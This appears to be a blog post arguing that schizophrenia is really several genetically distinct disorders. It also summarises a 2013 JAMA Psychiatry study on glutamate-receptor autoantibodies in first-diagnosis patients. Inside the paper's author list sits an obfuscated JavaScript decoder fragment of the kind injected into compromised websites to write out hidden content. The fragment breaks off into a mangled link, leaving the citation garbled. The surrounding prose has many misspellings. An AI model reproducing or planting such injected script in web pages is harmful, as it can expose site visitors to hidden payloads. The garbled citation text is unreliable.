No such thing as schizophrenia. But many.


Uncovering the Hidden Risk Architecture of the Schizophrenias: Confirmation in Three Independent Genome-Wide Association Studies

Recent findings corroborate what “we all”  know: There is no such thing as schizophrenia. That said: There are many forms of schizophrenia!
This research points towards the existance of at leastz 8 subtypes, each with different gtenetic background, each with different symptoms and prognosis. However, using the currently accepted diangnostic criteria, all these conditions would be classified as "schizophrenia".
The subtypes have a different clinical course and outcome, and they might also respond to different treatment.
This finding is important because it points out that, possibly, we have grouped different patients into the same category and subejcted them to not only the same diagnosis and prognosis, but also to the same treatment. Actually, things might be a little bit more complicated. Biological psychatry at least (comprising genetics, chemistry, pharmacology etc.) seems to suggest this possiblity.

Glutamate-receptor autoantibodies in Schizophrenia


JAMA Psychiatry. 2013 Mar;70(3):271-8. doi: 10.1001/2013.jamapsychiatry.86.

Increased prevalence of diverse N-methyl-D-aspartate glutamate receptor antibodies in patients with an initial diagnosis of schizophrenia: specific relevance of IgG NR1a antibodies for distinction from N-methyl-D-aspartate glutamate receptor encephalitis.

Steiner J1, Walter M, Glanz W, Sarnyai Z, Bernstein HG, Vielhaber S, Kästner A, Skalej M, Jordan W, Schiltz K, Klingbeil C, {var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandinger%20KP%5BAuthor%5D&cauthor=true&cauthor_uid=23344076″>Wandinger KP, Bogerts B, Stoecker W.
Autoantibodies angainst glutamate receptors are found in a high percentage of patients diagnosed with schizoprenia, especially in first diagnoses. They could contribute or even cause many symptoms in at least a part of all schizophrenia cases. Hoewever,  it is currently not common practice yet, to assess the presence of those antibodies in all first diagnosis cases of schizophrenia.